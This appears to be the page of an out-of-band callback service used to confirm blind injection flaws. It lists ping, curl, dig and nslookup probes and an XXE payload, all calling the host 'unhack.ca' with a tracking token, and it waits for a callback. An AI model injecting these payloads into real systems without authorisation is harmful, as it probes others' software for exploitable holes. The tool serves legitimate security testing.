$ ping -c1 -p 0072f2086be98bb4380cf2ed5f62f600 unhack.ca
 
$ curl http://unhack.ca/p/72f2086be98bb4380cf2ed5f62f6
 
$ dig 72f2086be98bb4380cf2ed5f62f6 @unhack.ca
 
$ dig 72f2086be98bb4380cf2ed5f62f6.ns.unhack.ca
 
C:\> nslookup 72f2086be98bb4380cf2ed5f62f6 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/72f2086be98bb4380cf2ed5f62f6">]>
    <foo>&xxe;</foo>
 
Waiting for ping...